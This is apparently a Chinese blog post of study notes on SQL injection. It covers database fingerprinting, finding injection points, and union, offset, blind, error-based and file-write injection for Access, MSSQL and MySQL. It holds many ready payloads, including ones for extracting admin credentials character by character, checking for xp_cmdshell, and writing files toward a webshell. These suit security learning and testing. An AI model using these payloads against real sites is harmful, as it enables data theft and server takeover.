zoukankan      html  css  js  c++  java
  • sql注入的一些笔记

    SQL注入详解

    据不完全统计,国内网站ASP+Access或SQLServer占70%以上,PHP+MySQL占20%。

    一般asp+access组合比较多,aspx+mssql(SQL Server)组合比较多

    查询关键词

    查询中用到的关键词主要包含六个,并且他们的顺序依次为selcet--from--where--group by--having--order by

    其中select和from是必须的,其他关键词是可选的,这六个关键词的执行顺序与sql语句的书写顺序并不是一样的,而是按照下面的顺序来执行

    from--where--group by--having--select--order by

    from:需要从哪个数据表检索数据

    where:过滤表中数据的条件

    group by:如何将上面过滤出的数据分组

    having:对上面已经分组的数据进行过滤的条件

    select:查看结果集中的那个列,或列的结果

    order by:按照什么样的顺序来查看返回的数据

     

    from后面的表关联,是自右向左解析的,而where条件的解析顺序是自上而下的,也就是说,写SQL文的时候尽量把数据量大的表放在最右边进行关联,而把能筛选出大量数据的条件放在where语句的最下面。

    常用数据库

    常见的数据库有Oracle、MySQL、SQL Server、Access、MSsql、mongodb等

    关系型数据库通过外键关联来建立表与表之间的关系,非关系数据库通常指数据以对象的形式存储在数据库中,而对象之间的关系通过每个对象自身的属性来决定。

    基于特定函数判断sql注入数据库类型方法

     len()和length()

    在mssql和mysql以及db2内,返回长度值调用len()函数;在oracle和INFORMIX则是通过length()来返回长度值。

    当你使用and len('a')=1的时候,返回正常页面时,可以推断当前数据库类型可能是mssql,或mysql或是db2,反之可能会是orcale和informix.(这里有代继续考究)

     @@version和version()

    在mysql内,可以用@@version或是version()来返回当前的版本信息。但是无法判断mysql还是mssql时,可以用version()函数来构造判断。

    version()>1返回与@@version>1相同页面时,则可能是mysql。如果出现提示version()错误时,则可能是mssql。

     substring()和substr()

    在mssql中可以调用substring()。oracle则只可以调用substr()。

     length()   lengthb()  char_length()

    1、Oracle: length(): 表示字符串长度 lengthb():表示字符串的字节长度

    2、mysql: length():返回字符串所占的字节数 char_length():返回字符串的字符数

    数据库判断

    (1)注释符判断

    –-是 Oracle 和 MSSQL 支持的注释符,如果返回正常,则说明为是这两种数据库类型之一

    ;是子句查询标识符,Oracle 不支持多行查询,因此如果返回错误,则说明很可能是 Oracle

    (2)函数判断

    注意:Access只有一个数据库,直接猜解表名即可

    and ( select count(*) from sys.usr_tables) > 0 oracle数据库

    and (select count(*) from msysobjects) > 0 -返回权限不足为access数据库

    and (select count(*)from MSysAccessObjects)>0 返回正确为access 数据库

    and (select count(*)from sysobjects)>0 返回正常说明是 mssql 数据库

    and length(user())>10 返回正常说明是 Mysql

    Oracle 可以根据 from dual 虚拟库判断

    对了,判断注入点忘记说了

    数字型:id=2-1

    字符型: ’ 、’)、 '))、 "、 ")、 "))

    注释符:-- (这是–空格)、–+、/**/、#

    通过观察页面是否正常,判断页面是否存在注入点

    如 id=21’ and 1=1 %23 页面正常

    id=21’ and 1=2 %23 页面返回无数据

    MySQL 与 MSSQL 及 ACCESS 之间的区别

    (1)MySQL5.0 以下没有 information_schema 这个默认数据库

    (2)ACCESS 没有库名,只有表和字段,并且注入时,后面必须跟表名,因此只能爆表,ACCESS

    举例:select 1,2,3 from table_name union select 1,2,3 from table_name

    (3)MySQL 使用 limit 排序,ACCESS 使用 TOP 排序(TOP 在 MSSQL 也可使用)

    各数据库标志性信息

    sql server: select @@version --

    Oracle : select banner from v$version

    mysql :select @@version, version() --

    length(user)>0正常

    postgresql: select version() --

    各数据库特有的函数:

    sql server: @@pack_received @@rowcount

    mysql: connection_id() last_insert_id() row_count()

    oracle: bitand(1,1)

    postgresql: select extract( dow from row())

    对于字符串处理方式:

    sql server: id=1 and 'a'+'b'='ab' --

    mssql: id=1 and 'a' + 'b' = 'ab'

    mysql: id= 1 and 'a'+'b'='ab' ,'ab'=concat('a' , 'b')

    oracle: id=1 and 'a'+'b' = 'a' || 'b' , 'ab'=concat('a' , 'b')

    postgresql: id=1 and 'a' + 'b' = 'a' || 'b', 'ab' = concat('a' , 'b')

    特殊符号,注释的判断

    1、"null" 和 "%00" 是Access支持的注释

    2、";" 是子句查询标识符,在Oracle中不支持多行查询,返回错误,很可能是Oracle数据库。

    (SQL Server) MSsql服务、端口、后缀

    端口:1433

    后缀:cracer.mdf

    日志文件后缀:cracer_log.ldf

    mssql数据库权限

    sa权限:数据库操作,文件管理,命令执行,注册表读取等system

    db权限:文件管理,数据库操作等users-administrators

    public权限:数据库操作guest-users

    SQL Server有一些系统变量,如果服务器IIS提示没关闭,并且SQL Server返回错误提示的话,那可以直接从出错信息的获取,方法如下:

    ?id=49 and user>0

    这句语句很简单,但却包含了SQL Server特有注入方法的精髓,我自己也是在一次无意的测试中发现这种效率极高的猜解方法。先看看含义,前面语句正常,重点在and user>0, user是SQL Server的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQL Server的出错提示是:将nvarchar值"abc"转换数据类型为int的列时发生语法错误,abc正是变量user的值,这样,就拿到了数据库的用户名。

    常用测试语句:

     and exists(select* from sysobjects)       //判断数据库是否为SQLServer
     and exists(select * from tableName)       //判断某表是否存在..tableName为表名
     and 1=(select @@VERSION)                 //SQLServer版本
     and 1=(select db_name())                 //当前数据库名
     and 1=(select @@servername)               //本地服务名
     and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判断是否是系统管理员
     and 1=(select IS_MEMBER('db_owner'))       //判断是否是库权限
     and 1=(select HAS_DBACCESS('master'))     //判断是否有库读取权限
     and 1=(select count(*) from master.dbo.sysobjects where xtype ='X' and name='xp_cmdshell')                       //判断XP_CMDSHELL是否存在

     

    注入的分类

    内联注入

    布尔注入

    报错注入

    延时注入

    堆叠注入

    常识:

    Access中,中文的ASCII码可能会出现负数,取出该负数后用abs()取绝对值,汉字字符不变。

    SQL Server中,中文的ASCII为正数,由于UNICODE的双位编码,不能用函数ascii()取得ASCII码,必须用函数unicode()返回unicode值,再用nchar函数取得对应的中文字符。

    Access注入及其常见函数

    猜解表名:and exists( select * from 表名)

    猜解列名:and exists (select 列名 from 表名)

    猜解用户名和密码长度

    and ( select top 1 len(列名 ) from 表名) = X ----x代表数字,返回正确代表所猜的列名长度为这个数字

    如:

    判断用户名长度是否大于零:and ( select top 1 len( username) from admin) > 0

    猜解用户和密码的ascii码

    这里应该采用截半法来提高效率。ascii码 0-126

    这里假设用户为:admin 密码为:admin888,猜出来的ascii码用转换工具转换下就可以得出明文

    and ( select top 1 asc( mid( username,1,1)) from admin) > 97

    and ( select top 1 asc( mid( username,1,1)) from admin) = 97

    and ( select top 1 asc( mid( username,2,1)) from admin) = 100

    and ( select top 1 asc( mid( username,3,1)) from admin) = 109

    and ( select top 1 asc( mid( username,4,1)) from admin) = 105

    偏移注入

    利用 “* ”代替admin表内存在的字段

    1、假设order by 判断字段为18

    2、union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from admin

    3、当成功时说明admin下为15个字段,一直到返回列名(不一定成功)

    ?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from admin ?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin ?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,* from admin

    偏移注入的基本公式为:

    order by 出的字段数减去*号字段数,然后再用order by的字段数减去2倍刚才得出的答案

    也就是 18-15 = 3

    18 - 3*2 = 12

    最后注入

    asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,a.id,b.id,* from ( admin as a inner join admin as b on a.id = b.id)

    跨库查询(需要知道另一个数据库绝对路径和表名、字段名)

    ?id = 1 union select 1,2,3,password,5,6 from [另一个数据库的绝对路径].需要查询的表

    Mysql注入

    mysql数据库在渗透过程中能够使用的功能还是比较多的,除了读取数据之外,还可以进行对文件进行读写(前提是权限足够)。

    读取前提:

    1.用户权限足够高,尽量具有root权限。

    2.secure_file_priv不为NULL。

    3.获取web目录的物理路径。

     Mysql用secure_file_priv这个配置项来完成对数据导入导出的限制。如果secure_file_priv=NULL,Mysql服务会禁止导入和导出操作。通过命令查看secure_file_priv的当前值,确认是否允许导入导出以及导出文件路径。
     show variables like '%secure_file_priv';
     
     MySQL中root用户拥有所有权限,但写入webshell并不需要一定是root用户权限,比如数据库用户只要拥有file权限就可以执行select into outfile操作。
     
     当secure_file_priv文件导出路径与web目录路径重叠,写入webshell才可以被访问到。

    文件注入

    ?id=0 union select 1,'test',3,4,5 into outfile 'c:111.txt' # 向系统写入文件

    ?id=0 union select 1,load_file('c: 111.txt'),3,4,5 #回显内容 证明写入成功

    盲注

    and (select length(database())) > 4 #判断数据库名称长度

    and (select ascii(substr (database(),1,1))) >119 #判断当前数据库第一个字母是什么

    报错注入

    and select 1 from ( select count(*), concat(version(),floor(rand(0)*2))) x from information_schema.tables group by x) a ) 通过floor 报错

    or 1 group by concat_ws(0x7e,version() , floor( rand ( 0*2 )) having min(0) or 1 #通过floor报错

    and extractvalue( 1, concat( 0x5c, (select version ()))) #利用extractvalue函数报错(长度有限制,最长32位)

    and 1 = (updatexml(1,concat(0x23,(select version())),1)) #利用updatexml函数报错(长度有限制,最长32位)

     

  • 相关阅读:
    json取值(key是中文或者数字)方式详解
    快速排序
    百度地图 获取矩形point
    ArcGIS
    天眼
    shapefile文件
    SQL Server 2008 的gis函数
    查看某一个点是否在某个多边形内 使用ST_Contains函数
    PostgreSQL+PostGIS的使用 函数清单
    地理坐标计算
  • 原文地址:https://www.cnblogs.com/shijiahao/p/13382556.html
Copyright © 2011-2022 走看看